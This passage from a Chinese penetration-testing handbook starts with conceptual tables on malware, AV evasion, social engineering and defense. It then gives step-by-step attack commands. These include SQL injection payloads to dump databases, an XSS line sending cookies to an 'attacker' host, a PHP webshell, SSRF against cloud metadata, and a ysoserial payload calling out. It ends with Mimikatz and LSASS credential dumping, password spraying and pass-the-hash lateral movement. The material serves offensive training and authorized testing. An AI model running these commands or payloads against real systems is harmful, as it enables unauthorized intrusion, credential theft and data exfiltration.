| ICMP 隧道 | ping 包数据区 | ICMP 流量异常大、包内容非回显 | ptunnel / icmpsh |
ssh -L 8080:内网目标:80 跳板机 → 本机访问 localhost:8080 即访问内网目标。ssh -R 9000:localhost:3000 跳板机 → 跳板机上访问 localhost:9000 即到你本机 3000。ssh -D 1080 跳板机 → 浏览器/工具设 SOCKS5 127.0.0.1:1080,流量全部走跳板机出。-N -f(不执行命令、后台),配 autossh 保活。一句话收束:隧道的本质是"给被过滤的流量穿合法外衣"——防御者的对策不是封协议,而是审计协议里的内容与行为。
本质一句话:恶意软件 = 一段"你想执行它"或"它骗你执行它"的代码——它做的事(偷、锁、控、挖)由它的功能决定,但它的生存术(隐藏、启动、免杀)全是"利用操作系统对你的信任"。病毒靠宿主传播,木马靠伪装诱骗,蠕虫靠自我复制,勒索靠加密要挟——名字不同,本质都是"代码 + 执行机会"。
识别场景(四大家族速判):
| 家族 | 传播特征 | 典型行为 | 分析要点 |
|---|---|---|---|
| 病毒 | 感染文件/文档 | 自我复制、隐藏、破坏 | 找感染逻辑与驻留点 |
| 木马 | 伪装成正常文件 | 远控、窃取、键盘记录 | 找 C2 与窃取逻辑 |
| 蠕虫 | 网络自我传播 | 爆破/漏洞批量感染 | 找传播向量与载荷 |
| 勒索 | 钓鱼/漏洞/弱口令 | 加密+索要赎金 | 找密钥、加密范围、恢复路径 |
file 样本; strings 样本 | head -100; hash 样本(VirusTotal 查)。strings 样本 | grep -E "http|https|ip|domain",或抓包看外连。一句话收束:恶意软件 = "一段被信任执行的代码"——分析它 = 还原"想做什么 + 靠什么执行 + 怎么活下来",防御它 = 砍掉执行机会、掐断生存术。
本质一句话:杀软的本质是"特征匹配 + 行为判断",免杀的本质是"让恶意代码长得不像已知恶意"——改特征(变形、加壳、混淆)骗过静态,改行为(无文件、内存执行、延时)骗过动态。这不是"魔法",是"信息差"的又一种:你不知道我的特征库,我知道你的检测逻辑。
识别场景(杀软检测 vs 免杀手法对照):
| 检测层 | 检测原理 | 对应免杀 | 蓝队加强 |
|---|---|---|---|
| 签名库 | 哈希/特征串匹配 | 单字节变形/加壳重打包 | 更新签名+云端查 |
| 静态启发 | 可疑 API 序列/加壳特征 | 混淆 API/动态解析/白名单壳 | 机器学习分类器 |
| 行为监控 | 进程行为/文件/注册表 | 无文件/内存执行/延时 | EDR 行为基线+溯源 |
| 沙箱检测 | 隔离环境跑样本 | 检测沙箱指纹/延迟触发 | 反沙箱对抗+真机诱捕 |
一句话收束:免杀的本质是"特征军备竞赛"——红队让恶意代码"不像恶意",蓝队让检测"看行为不看长相";最终赢的是监控体系而不是签名库。
本质一句话:人是最薄弱的信任边界——社会工程学 = 利用"人想帮忙、人怕担责、人贪小利、人懒确认"的本能,骗取信任、绕过技术防线。技术漏洞可以补,人心漏洞只能练;这就是为什么 60%+ 的泄露始于"人"。
识别场景(六大心理开关):
| 开关 | 攻击话术模式 | 识别信号 | 防御动作 |
|---|---|---|---|
| 权威 | "我是 IT 部/领导/公安" | 要求提供密码/验证码 | 独立渠道回拨确认 |
| 紧迫 | "今晚就过期/马上被锁" | 制造时间压力 | 凡紧急必二次确认 |
| 好奇 | "点开看你的照片/工资单" | 诱导点击链接 | 不点陌生链接,悬停看域名 |
| 互惠 | "先送礼品/问卷奖励" | 小利换信息 | 拒绝陌生"好处" |
| 从众 | "大家都已经升级了" | 制造群体压力 | 走正式流程 |
| 恐惧 | "你的账户已被盗" | 制造恐慌促操作 | 挂断,官方渠道核实 |
一句话收束:社会工程学的本质是"人类信任边界的利用"——防御 = 让员工"多确认一步",让流程"多一道审批",让技术"多一层 MFA"。
本质一句话:密码学 = 用数学把"谁能读"变成"谁有钥匙"——攻防双方争的是钥匙(密钥),而不是算法本身。算法公开、密钥保密,这是现代密码学的铁律(Kerckhoffs 原则)。破解不是"解开数学",而是"偷钥匙、猜钥匙、从实现漏洞里掏钥匙"。
识别场景(密码学十大坑):
| 坑 | 识别信号 | 后果 | 正确姿势 |
|---|---|---|---|
| 弱算法 | DES/MD5/SHA1/RC4 | 可被快速破解/碰撞 | AES-256/SHA-256+ |
| 弱密钥 | 密码当密钥、短密钥 | 字典/暴力可破 | 随机长密钥+密钥管理 |
| ECB 模式 | 相同明文块出相同密文 | 泄露结构/可重放 | GCM/CBC+随机IV |
| 硬编码密钥 | 密钥写死在代码里 | 逆向即得 | 密钥托管/HSM |
| 明文传输 | HTTP/无 TLS | 抓包即得 | TLS 1.2+ |
| 弱哈希存密码 | MD5/SHA1 存密码 | 撞库秒破 | bcrypt/Argon2 |
| IV 重用 | 固定 IV/计数器重用 | 可解密/伪造 | 随机 IV+nonce 管理 |
| 证书问题 | 自签/过期/不校验证书 | 中间人 | 正确 PKI+证书固定 |
echo -n "password123" | md5sum,对比在线彩虹表/本地 hashcat 秒破。python -c "import bcrypt; print(bcrypt.hashpw(b'password123', bcrypt.gensalt()))"。一句话收束:密码学的攻防本质是"钥匙争夺战"——算法公开、密钥保密;攻方偷钥匙、守方管钥匙。
本质一句话:供应链攻击 = 不直接打你,打"你信任的东西"——你的依赖库、更新源、供应商、外包、开源组件。一次投毒,批量受害;这就是"信任链条劫持"的杠杆效应。SolarWinds 更新包被植入后门,xz 后门潜伏两年进 SSH——都是同一个本质:你信任了"供给方",供给方被劫持。
识别场景(供应链五大劫持点):
| 劫持点 | 识别信号 | 防御动作 |
|---|---|---|
| 依赖库投毒 | 依赖版本突然更新/包名相似 | 锁版本+依赖审计(OSV/依赖机器人) |
| 维护者社工 | 核心维护者账号异常 | 双因素+提交审计 |
| 名称仿冒 | typosquat(拼写相近包) | 装包前核对包名与下载量 |
| 构建链投毒 | CI/CD 被入侵 | 构建可复现+签名 |
| 供应商失陷 | 外包/云服务被攻陷 | 供应商安全评估+最小权限 |
pip-audit / npm audit / syft 生成清单。npm audit / pip-audit / OSV-Scanner 对已知 CVE。一句话收束:供应链攻击 = 劫持"你信任的供给方"——防御 = 数清楚自己在信任什么、锁住版本、审计来源。
本质一句话:0day = 全世界还没人知道(所以没人修)的漏洞;N-day = 已经公开(有补丁)但你没修的漏洞。攻防本质是"补丁时间差"——攻击者抢在补丁前用 0day,或者专打"不补丁的懒人"用 N-day。Log4Shell 公开 6 小时就被利用,WannaCry 靠的是 21 天前泄露的漏洞——都是时间差的战争。
识别场景(时间差四阶段):
| 阶段 | 谁掌握 | 攻击难度 | 防御策略 |
|---|---|---|---|
| 0day 窗口 | 少数研究者/国家 | 极高 | 纵深防御+行为监控兜底 |
| 披露期 | 安全社区 | 高(PoC 出现) | 紧急排查+缓解措施 |
| 补丁期 | 厂商+补丁 | 中(漏洞公开) | 72h 内补丁+临时缓解 |
| 利用期 | 所有人 | 低(工具化) | 资产全补丁+暴露面收敛 |
一句话收束:0day/N-day 的本质是"补丁时间差"——攻击者抢时间,防御者抢补丁;谁的时间管理差,谁就输。
本质一句话:数据泄露 = 数据从"受控环境"流到"不受控环境"——泄露的通道(拖库、越权、接口、备份、内鬼)再多,本质都是"数据离开了它该待的地方"。防泄露不是防黑客,是防"数据流动失控"。
识别场景(六大泄露通道):
| 通道 | 识别信号 | 防御 |
|---|---|---|
| 拖库 | 数据库被注入/备份被偷 | 参数化+备份隔离+加密 |
| 越权接口 | 接口无鉴权返回数据 | 对象级鉴权 |
| 错误配置 | S3 桶/数据库公网可读 | 基线检查+定期审计 |
| 内鬼 | 高权账号批量下载 | 最小权限+行为审计 |
| 钓鱼窃取 | 员工账号被钓 | MFA+演练 |
| 供应链 | 第三方泄露波及 | 供应商数据管控 |
一句话收束:数据泄露 = 数据离开了它该待的地方——防御 = 让每条数据知道自己属于哪里,离开即告警。
本质一句话:攻防不是两个世界——是同一台机器、同一批流量、同一份日志上的两双眼睛。攻击者做的事,防御者全看得见,只要防御者知道"看哪里、怎么判"。所以最高效的学习方式:先学会攻击者的每一步,再把自己变成"看得见攻击的防御者"。
识别场景(攻防动作↔检测点对照表):
| 攻击动作 | 留下的痕迹 | 蓝队检测点 |
|---|---|---|
| 端口扫描 | 大量连接失败/慢速连接 | 流量异常+连接日志 |
| 目录爆破 | 大量 404/低频请求 | Web 日志+频次分析 |
| SQL 注入 | 参数含特殊字符/报错 | WAF+数据库日志 |
| 爆破登录 | 登录失败多次 | 认证日志+锁定策略 |
| 上传 Webshell | 新文件/异常扩展名 | 文件监控+完整性 |
| 横向移动 | 异常 SMB/WMI 连接 | 内网流量+端点 EDR |
| 持久化 | 新计划任务/服务/启动项 | 配置基线+变更监控 |
| 数据外传 | 大流量出网/异常外连 | 出网白名单+DLP |
一句话收束:攻防是同一台机器上的两双眼睛——用红队的动作清单建蓝队的检测清单,是最短的学习闭环。
本质一句话:侦察 = 攻击前的一切信息收集——从公开渠道(OSINT)到主动探测,目的只有一个:把"不知道打谁"变成"知道打哪里"。侦察分被动(不碰目标)和主动(碰目标),被动的永远合法(信息是公开的),主动的开始有边界(需要授权)。
识别场景(侦察工具箱):
| 类别 | 查什么 | 工具 | 被动/主动 |
|---|---|---|---|
| 域名 | 注册信息/子域/解析 | whois / subfinder / crt.sh | 被动 |
| IP/端口 | 开放端口/服务/版本 | Shodan / FOFA / nmap | Shodan被动·nmap主动 |
| 人员 | 员工邮箱/组织架构 | theHarvester / LinkedIn | 被动 |
| 技术栈 | 框架/版本/指纹 | whatweb / wappalyzer | 主动 |
| 泄露记录 | 历史泄露的账号密码 | haveibeenpwned / 泄露库检索 | 被动 |
| 代码 | GitHub 泄露的密钥/代码 | GitHub 搜索 / trufflehog | 被动 |
subfinder -d 目标.com -all > subs.txt; cat subs.txt | httpx -title -status-code。dnsx -l subs.txt -a。nmap -sV -sC 目标IP。一句话收束:侦察的本质是"把不知道打谁变成知道打哪里"——防御端最有效的反侦察 = 让公开信息里找不到你的弱点。
本质一句话:漏洞利用 = 把"系统缺陷"加工成"可投递的武器"——漏洞是子弹的图纸,PoC 是试射,Exploit 是成品,payload 是弹头。没有利用的漏洞只是"潜在风险",利用成功的漏洞才是"现实伤害"。攻防的差距,往往就是"能不能把缺陷变成武器"的差距。
识别场景(利用链 vs 修复链对照):
| 环节 | 攻击动作 | 防御动作 |
|---|---|---|
| 发现缺陷 | 扫描/审计找漏洞 | 漏洞管理+资产清单 |
| 写 PoC | 验证漏洞存在 | 复现+评估影响 |
| 做 Exploit | 加工成稳定利用 | 补丁/缓解/隔离 |
| 投递 payload | 送达执行 | 入口防护+行为监控 |
| 达成目标 | 拿数据/权限 | 止损+取证+复盘 |
一句话收束:漏洞利用 = 把缺陷加工成武器——防御 = 让"缺陷→武器"的加工链断在源头。
本质一句话:侦察(不碰目标收集)、扫描(碰目标摸轮廓)、枚举(钻进去掏细节)——三者是"由远及近、由浅入深"的同一个动作:把目标从"不知道"变成"全知道"。很多新手混用三词,其实它们的"碰不碰目标、拿什么信息"完全不同。
识别场景(三者对照表):
| 维度 | 侦察 | 扫描 | 枚举 |
|---|---|---|---|
| 碰不碰目标 | 不碰 | 碰(发包) | 碰(深交互) |
| 典型工具 | subfinder/theHarvester/Shodan | nmap/masscan/httpx | ffuf/nikto/枚举脚本 |
| 产出 | 资产+人员清单 | 端口+服务版本表 | 目录/接口/共享/漏洞点 |
| 授权要求 | 通常无需 | 需要 | 需要 |
subfinder -d 目标.com -all > subs.txt; cat subs.txt | httpx -title -status-code -tech-detect。dnsx -l subs.txt -a -resp,或查历史 DNS。nmap -sV -sC -p- 真实IP(全端口+版本+默认脚本)。ffuf -w wordlist -u http://目标/FUZZ 目录枚举;SMB → smbclient -L //目标 共享枚举。-sV;③ 枚举要"跟着服务走"——先知道开了什么服务,再选对应枚举方式;④ 三者产出一定要"落表",否则打完忘光。一句话收束:侦察→扫描→枚举 = "知道有什么→知道开什么→知道怎么进"——信息由浅入深,打点由粗到细。
本质一句话:日志 = 系统的"行车记录仪";监控 = 盯着记录仪的眼睛。没有日志,攻击等于"无声犯罪";有日志不会看,等于"有记录仪没人看"。攻防对抗的胜负手,往往不在"防得住",而在"看得见、判得准、反应快"。
识别场景(日志五要素检查):
| 要素 | 检查问题 | 缺失后果 |
|---|---|---|
| 覆盖 | 关键系统日志都收了吗? | 漏看攻击面 |
| 完整 | 字段全吗?(身份/时间/动作/结果) | 无法溯源 |
| 防篡改 | 攻击者能删日志吗? | 证据灭失 |
| 可检索 | 能快速查吗? | 响应太慢 |
| 有告警 | 异常能自动触发吗? | 靠人眼=漏 |
ls /var/log/ 看 auth.log/syslog/nginx 日志。一句话收束:日志是"行车记录仪",监控是"盯着记录仪的眼睛"——攻击者最怕的不是你的防御,而是你"看得见"。
本质一句话:渗透报告的每一句话都要能被"复现"——报告不是作文,是"证据链 + 修复清单"。攻击者留下证据,防御者靠证据修复;一份好报告让修的人"照着做就能堵住",一份烂报告让修的人"看完不知道改哪里"。
识别场景(报告必备要素):
| 要素 | 要求 | 常见错误 |
|---|---|---|
| 摘要 | 几句话讲清最严重的问题 | 堆术语没人看懂 |
| 复现步骤 | 每一步命令/操作可执行 | 只说"存在漏洞"不给路径 |
| 证据 | 截图/响应/命令输出 | 无图无真相 |
| 危害评估 | CVSS+业务影响 | 只给评分不给解释 |
| 修复建议 | 具体到文件/配置/版本 | "加强安全"式废话 |
| 范围声明 | 测试范围/时间/方法 | 无范围导致争议 |
一句话收束:报告 = "证据链 + 修复清单"——没有证据的发现等于没发现,没有修复的发现等于白发现。
本质一句话:攻防演练 = 一场"有剧本、有裁判、有目标"的考试——红队当考生(模拟真实攻击),蓝队当监考(防守+响应),最终看的是"防线能不能扛住、发现能不能及时、响应能不能闭环"。演练不是炫技,是"用最小代价暴露最大问题"。
识别场景(三种演练形式):
| 形式 | 特点 | 适用 | 产出 |
|---|---|---|---|
| 桌面推演 | 纸面模拟,无真环境 | 流程/角色/预案验证 | 流程改进点 |
| 沙盘演练 | 模拟环境真操作 | 技术验证/新人训练 | 技术差距清单 |
| 实战攻防 | 生产环境红蓝对抗 | 体系检验/合规 | 全面问题清单 |
一句话收束:攻防演练 = 有剧本的考试——价值不在赢,在暴露问题 + 改进闭环。
本质一句话:渗透 = 在"安全(不越界)"与"效率(尽快出结果)"之间走钢丝——既要真实攻击的力度,又要合规可控的边界。专业渗透不是"能打就行",是"知道怎么打、打到哪、怎么停、怎么交代"。
识别场景(渗透质量四维度):
| 维度 | 好 | 差 |
|---|---|---|
| 覆盖 | 全链路+全资产 | 只测登录页 |
| 证据 | 每步可复现 | 结论无图 |
| 边界 | 严格在授权内 | 横向乱窜 |
| 报告 | 可执行修复清单 | 术语堆砌 |
一句话收束:渗透 = 安全与效率的平衡——能力 = 攻击技术 × 边界意识 × 报告质量。
本质一句话:红队工具不是"一个软件打天下",而是"模块化组装"——侦察模块、扫描模块、利用模块、后利用模块、C2 模块、隧道模块,按需拼接成一条攻击链。理解工具链的模块化,你就不会被工具名淹没,而是能"按需取用、自由组合"。
识别场景(工具链模块表):
| 模块 | 核心工具 | 输入→输出 |
|---|---|---|
| 侦察 | subfinder/theHarvester/Shodan | 域名→资产清单 |
| 扫描 | nmap/nuclei/httpx | 资产→端口+漏洞表 |
| 枚举 | ffuf/nikto/枚举脚本 | 服务→可利用点 |
| 利用 | MSF/sqlmap/exp | 漏洞点→Shell |
| 后利用 | Mimikatz/BloodHound/CME | Shell→凭据+权限 |
| C2 | Cobalt Strike/Sliver | 会话→控制通道 |
| 隧道 | chisel/frp/SSH | 受限网络→出网通道 |
subfinder -d 目标.com -all > subs.txt; httpx -l subs.txt -title -status-code。nmap -sV -sC 目标IP + nuclei -l subs.txt -t cves/。ffuf -w dict.txt -u http://目标/FUZZ。whoami; id; 收集凭据(见 26.9/26.10)。一句话收束:红队工具链 = 模块化流水线——学工具先问"它在流水线哪个位置、吃啥吐啥"。
本质一句话:防御没有"一劳永逸"——靠的是纵深(多层防线)与分层(每层各司其职)。单层再强也会被绕过,多层叠加才能让攻击者"每前进一步都付代价"。洋葱模型:外层网络防护,中层主机防护,内层数据防护,最内层人的意识——攻击者要剥一层又一层洋葱。
识别场景(纵深四层对照):
| 层 | 主要防线 | 突破后果 | 下一层兜底 |
|---|---|---|---|
| 网络层 | 防火墙/分段/VPN | 外部可触达内部 | 主机层 EDR |
| 主机层 | EDR/补丁/加固 | 单机沦陷 | 应用层+分段 |
| 应用层 | WAF/参数化/鉴权 | 数据可被读 | 数据层加密 |
| 数据层 | 加密/备份/权限 | 数据泄露 | 备份恢复+审计 |
一句话收束:蓝队防御 = 纵深与分层——攻击者要剥一层又一层洋葱,防御者让每一层都假设上一层已被突破。
本质一句话:攻击者不是"会很多招式",是"有一套决策树"——每一步都在问:目标是什么?我有什么?下一步选哪条路最划算?把决策树画出来,你就同时拥有了"攻击者的选择逻辑"和"防御者的排查顺序"。
识别场景(攻击者决策 vs 防御排查对照):
| 攻击决策 | 攻击者动作 | 防御排查顺序 |
|---|---|---|
| 能不能直接进 | 试默认口令/未授权接口 | 先查未授权接口+弱口令 |
| 有没有已知漏洞 | 版本对 CVE | 补丁管理+版本清单 |
| 能不能骗人 | 发钓鱼 | 邮件网关+演练 |
| 能不能物理进 | USB/门禁 | 物理安全+USB管控 |
| 进不去怎么办 | 回侦察/换目标 | 缩小暴露面 |
一句话收束:攻击手法 = 攻击者的决策树——画出决策树,就同时拿到"攻击者的选择逻辑"和"防御者的排查顺序"。
本质一句话:把前面二十九节的本质浓缩成十个模型——每一个都能"一句话看懂一类攻击"。这一节是全书本质篇的总复习,也是你"一眼看穿攻击"的速查表。
识别场景(十模型速查表):
| 看到什么 | 先套哪个模型 | 立刻想到的应对 |
|---|---|---|
| 一个攻击新闻 | 三差模型+杀伤链 | 它靠什么差?走到链上哪步? |
| 一个漏洞报告 | 信任边界模型 | 哪个输入越过了哪道边界? |
| 一个内网失守 | 信任半径模型 | 哪条信任链被走了?分段了吗? |
| 一个钓鱼案例 | 信息差+信任差 | 画像哪来的?人信了什么? |
| 一个 0day 预警 | 补丁时间差模型 | 受影响组件?缓解措施? |
| 一个渗透报告 | 攻防同机模型 | 红队动作对应哪些检测点? |
一句话收束(本章总纲):大道至简——攻击 = 利用"信息差 × 信任差 × 资源差",把不可信输入送过信任边界,把数据变成执行、身份变成权限、权限变成资产;守住任意一环,攻击就断。十个模型是你的"一眼看穿",检查表是你的"日日执行"。
本质一句话:这一节把所有"找入口"的命令按顺序摆齐,每条都配"会看到什么",让你在靶机/自有资产上照着敲就能走完"信息差→攻击面地图"。命令不是背的,是"知道每一步要什么产出"之后自然记住的。
# 1) 被动收集子域(不碰目标): subfinder subfinder -d example.com -all > subs.txt # 输出示例: # [INF] Enumerating subdomains for example.com # [INF] [whois] example.com # [INF] [crt.sh] api.example.com, dev.example.com, mail.example.com # [INF] Found 12 subdomains cat subs.txt # api.example.com # dev.example.com # mail.example.com # old.example.com # staging.example.com # ... # 2) 交叉验证: crt.sh 证书透明日志(免费、被动) curl -s "https://crt.sh/?q=%25.example.com&output=json" | python3 -m json.tool | grep name_value | sort -u # 3) 子域爆破(主动, 需要授权): 用字典撞 ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u https://example.com -H "Host: FUZZ.example.com" -mc 200 -ac # 输出示例: # admin.example.com [Status: 200, Size: 1234] # vpn.example.com [Status: 403, Size: 567] # git.example.com [Status: 200, Size: 8901]
# 4) 存活+标题+状态码+指纹 一把梭 cat subs.txt | httpx -title -status-code -tech-detect -follow-redirects # 输出示例: # https://api.example.com [200] [Example API] [FastAPI, Uvicorn] # https://dev.example.com [200] [DEV - Login] [PHP, Laravel] # https://old.example.com [403] [Forbidden] [nginx] # 5) 解析成 IP, 找出真实 IP(绕过 CDN) cat subs.txt | dnsx -a -resp -silent # api.example.com [203.0.113.15] # dev.example.com [203.0.113.16] # 6) 历史 IP(被 CDN 藏起来前的真实 IP): securitytrails / viewdns 网页查, 或: # 用证书透明日志里的 IP + 常见子域解析历史
# 7) 快速全端口扫描 nmap -p- -T4 --min-rate 5000 203.0.113.15 -oN ports.txt # 输出示例: # PORT STATE SERVICE # 22/tcp open ssh # 80/tcp open http # 443/tcp open https # 8080/tcp open http-proxy # 3306/tcp open mysql # 8) 服务版本+默认脚本(慢但全) nmap -sV -sC -p 22,80,443,8080,3306 203.0.113.15 -oN services.txt # 输出示例: # 8080/tcp open http-proxy Apache Tomcat/Coyote JSP engine 1.1 # |_ http-server-header: Apache-Coyote/1.1 # |_ http-title: Apache Tomcat/8.0.53 # 3306/tcp open mysql MySQL 5.5.62 # |_ mysql-info: Protocol: 10 | Version: 5.5.62 # 9) UDP 常见服务(可选) nmap -sU --top-ports 20 203.0.113.15
# 10) 目录爆破(小字典快筛) ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://203.0.113.15:8080/FUZZ -mc 200,301,302 -o dirs.json # 输出示例: # admin/ [Status: 301, Size: 178] # backup/ [Status: 200, Size: 4096] # manager/ [Status: 302, Size: 0] ← Tomcat Manager! # uploads/ [Status: 200, Size: 0] # 11) 扩展名/备份文件扫描 ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -u http://203.0.113.15:8080/FUZZ -e .bak,.zip,.sql,.txt,.old,.swp -mc 200 # 输出示例: # backup.zip [Status: 200, Size: 112233] # config.php.bak [Status: 200, Size: 890] # 12) 参数枚举(发现隐藏参数) ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u "http://203.0.113.15:8080/api/user?FUZZ=1" -mc 200,500 # 输出示例: # id [Status: 200, Size: 456] ← 返回了用户数据 # debug [Status: 500, Size: 1024] ← 打开调试开关
# 13) Web 指纹 whatweb http://203.0.113.15:8080 # 输出示例: # http://203.0.113.15:8080 [200 OK] Apache-Tomcat[Coyote], Country[RESERVED], HTTPServer[Apache-Coyote/1.1], IP[203.0.113.15] # 14) 已知漏洞模板扫描(关键一步) nuclei -l subs.txt -t cves/ -t exposures/ -t misconfiguration/ -severity high,critical -o nuclei.txt # 输出示例: # [http] [http-missing-security-headers] [low] # [cve] [CVE-2017-12615] [high] http://203.0.113.15:8080 ← Tomcat PUT! # 15) 敏感信息泄露检查 gobuster dir -u http://203.0.113.15:8080 -w /usr/share/seclists/Discovery/Web-Content/common.txt -x git,env,json # 输出示例: # /.git/HEAD [Status: 200] ← 源码泄露! # /.env [Status: 200] ← 环境变量(可能有密钥)!
# 把上面所有产出合并成一张表(截图/输出都留档): # 资产 | 端口/服务 | 版本 | 已知漏洞 | 暴露点 | 优先级 # 203.0.113.15:8080 | Tomcat 8.0.53 | CVE-2017-12615 | PUT上传 | P0 # 203.0.113.16:80 | Laravel | 未知 | /.env | P0 # old.example.com | nginx 403 | 无 | 目录列表? | P2
一句话收束:侦察命令手册 = "域名→子域→IP→端口→目录→指纹→漏洞模板→汇总表"八步流水线——照敲一遍,你就拥有了完整的攻击面地图。
本质一句话:Web 漏洞再多,主线只有六条——注入、XSS、上传、SSRF、越权、反序列化。每条主线都是"输入→信任边界→执行/泄露",你按判定表走一遍,就知道目标有没有病。本节每条主线给"探测→确认→利用→修复"四段式命令。
# 探测: 对每个参数位喂引号/恒真/恒假 curl -s "http://203.0.113.16/item.php?id=1'" | head -30 # 报错=有戏 curl -s "http://203.0.113.16/item.php?id=1 and 1=1" | md5sum # 记正常md5 curl -s "http://203.0.113.16/item.php?id=1 and 1=2" | md5sum # 与正常不同=注入存在 # 判列数 for i in 1 2 3 4 5 6 7 8 9 10; do curl -s "http://203.0.113.16/item.php?id=1 order by $i-- -" | grep -q Error || echo "列数=$i"; done # 定回显位 curl -s "http://203.0.113.16/item.php?id=-1 union select 1,2,3-- -" # 拖库(MySQL) curl -s "http://203.0.113.16/item.php?id=-1 union select 1,database(),user(),version()-- -" curl -s "http://203.0.113.16/item.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()-- -" # 自动化兜底(确认后) sqlmap -u "http://203.0.113.16/item.php?id=1" --batch --dbs # 修复: 参数化查询 / 预编译 / ORM 白名单
# 探测: 把输入回显到页面里的位置, 注入无害payload
curl -s "http://203.0.113.16/search.php?q=%3Cscript%3Ealert(1)%3C/script%3E" | grep -i script
# 若原样回显 <script> → 反射型XSS
# 存储型: 在留言/评论/昵称处提交payload, 其他用户访问页面触发
# DOM型: F12看JS是否用 innerHTML/location/document.write 处理输入
# 盲打XSS(打管理员): payload 里带外连
# <script>fetch("http://attacker/x?"+document.cookie)</script>
# 利用: 窃cookie / 打admin bot / 键盘记录 / 钓鱼覆盖
# 修复: 输出编码(htmlspecialchars) + CSP + HttpOnly + 输入白名单
# 探测: 上传点在哪, 返回什么 # 直接传: shell.php → 访问看是否解析 # 绕过1: 改后缀 shell.php5 / shell.phtml / shell.asp / shell.aspx / shell.jsp # 绕过2: 双扩展名 shell.php.jpg / 大小写 SHELL.PHP / 加空格 shell.php . # 绕过3: Content-Type 伪造 image/png; 文件头加 GIF89a 伪装图片 # 绕过4: 前端JS校验 → 抓包改包直发 # 验证: 上传后访问路径, 响应200且执行命令=成功 # 通用探测文件(能执行就赚): # <?php echo "UPLOAD_OK:".shell_exec($_GET['c']); ?> # 修复: 白名单后缀 + 重命名文件 + 文件内容校验 + 存独立域名/对象存储 + 禁执行目录
# 探测: 找"服务器帮你请求URL"的功能(图片代理/URL预览/Webhook/PDF生成) # 试内网: 把参数换成 http://127.0.0.1/ http://169.254.169.254/ (云元数据!) # http://169.254.169.254/latest/meta-data/ ← AWS凭证 # 试内网端口: http://127.0.0.1:3306/ http://127.0.0.1:8080/manager/html # 试协议: file:///etc/passwd dict:// gopher:// ftp:// # 回显: 响应里有内网内容=SSRF成立 # 绕过: 重定向 / 十进制IP / 短域名 / DNS重绑定 # 修复: 白名单目标 + 禁用危险协议 + 网络隔离 + 响应不回显
# 探测: 找"带ID的接口"(订单/用户/文件/消息) # 水平越权: 登录A账号, 把 /api/order/1001 换成 /api/order/1002 → 返回B的订单=越权 # 垂直越权: 普通用户访问 /api/admin/users → 200=未鉴权 # 批量枚举: 遍历ID for i in $(seq 1000 1050); do curl -s "http://203.0.113.16/api/order/$i" -H "Cookie: session=AAAA"; done # 对比: 换成另一账号cookie, 看是否仍能读到 # 修复: 对象级鉴权(每个资源校验"属于当前用户") + 服务端角色校验
# 探测: 找传"序列化串"的位置(Java序列化开头AC ED 00 05 / PHP serialize / JSON反序列化) # Java: 找 ysoserial gadget java -jar ysoserial.jar CommonsCollections1 "curl attacker/x" | base64 | curl -d @- http://target/deser # PHP: 改序列化串里的对象属性触发 __destruct/__wakeup # 盲测: 传损坏的序列化串看是否报错/延迟(反序列化执行了) # 修复: 类型白名单 + 签名校验 + 不用原生反序列化(用JSON/白名单类)
一句话收束:Web 六主线 = 注入/脚本/文件/请求/身份/对象 六类"信任越界"——判定表+四段式命令,就是 Web 渗透的完整工具箱。
本质一句话:内网渗透 = "信任半径的扩张"——你在内网里的每一步,都是找到"谁信任谁",然后顺着信任链往前跳。域(Domain)存在的意义就是集中信任,所以域也是攻击者最喜欢的地方。这一节从"拿到第一台机器"讲起,一直到"拿到域控",全链路带命令带判断。
# 先回答: 我在哪? 我是谁? 我能碰谁? ipconfig /all # 网段/网关/DNS whoami /all # 用户/组/权限 netstat -ano | findstr ESTABLISHED # 当前连接 arp -a # 邻居(直接可达主机) net view /domain # 域内共享列表 # Linux 对应: ip addr; whoami; id cat /etc/hosts; cat /etc/resolv.conf ss -antp; arp -a # 信息收集目标: 网段拓扑 + 域信息 + 高价值服务(数据库/文件/备份)
# 内网扫描(慢而全): nmap 网段 nmap -sn 10.10.1.0/24 # 存活主机 nmap -sV -p 445,139,3389,22,80,443,3306,1433,8080 10.10.1.0/24 -oN inscan.txt # 批量快速: crackmapexec smb 网段 (同时给SMB状态+版本) crackmapexec smb 10.10.1.0/24 # 输出示例: # SMB 10.10.1.5 445 WS01 [Windows 10 ...] # SMB 10.10.1.20 445 DEV01 [Windows Server 2019 ...] # SMB 10.10.1.50 445 DC01 [Windows Server 2019 域控] ← 目标!
# Windows: Mimikatz 从内存抓明文/哈希/票据 mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" # 输出示例: # Username : admin Domain : CORP # NTLM : 32ed87bdb5fdc5e9cba88547376818d4 ← NTLM哈希(可用于PTH) # 优先抓: 域管会话 / 服务账号 / 本地管理员 # 脱敏版: 转储 LSASS 后离线分析(EDR可能报警) rundll32 C:\Windows\System32\comsvcs.dll, MiniDump (PID) lsass.dmp full # 用 mimikatz "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" # Linux 常见凭据点 grep -ri "password" /home /var/www /etc 2>/dev/null | grep -v Binary history; cat ~/.bash_history find / -name "*.key" -o -name "id_rsa" 2>/dev/null # 浏览器/配置文件里的明文口令 # 数据库连接串: 常躺在 web 配置文件里 (config.php/.env/web.config)
# 密码喷洒(不锁定账号): 一个密码对多个账号 crackmapexec smb 10.10.1.0/24 -u users.txt -p "Spring2024!" --continue-on-success # Pass-the-Hash (PTH): 拿哈希直接登录, 不用明文 crackmapexec smb 10.10.1.20 -u admin -H 32ed87bdb5fdc5e9cba88547376818d4 # 远程执行三兄弟 psexec.py CORP/admin:Password@10.10.1.20 # 服务方式(SMB) wmiexec.py CORP/admin:Password@10.10.1.20 # WMI方式(轻痕迹) atexec.py CORP/admin:Password@10.10.1.20 "whoami" # 计划任务方式 # 判断: 目标是域管/本地管理员? 有没有域管会话?
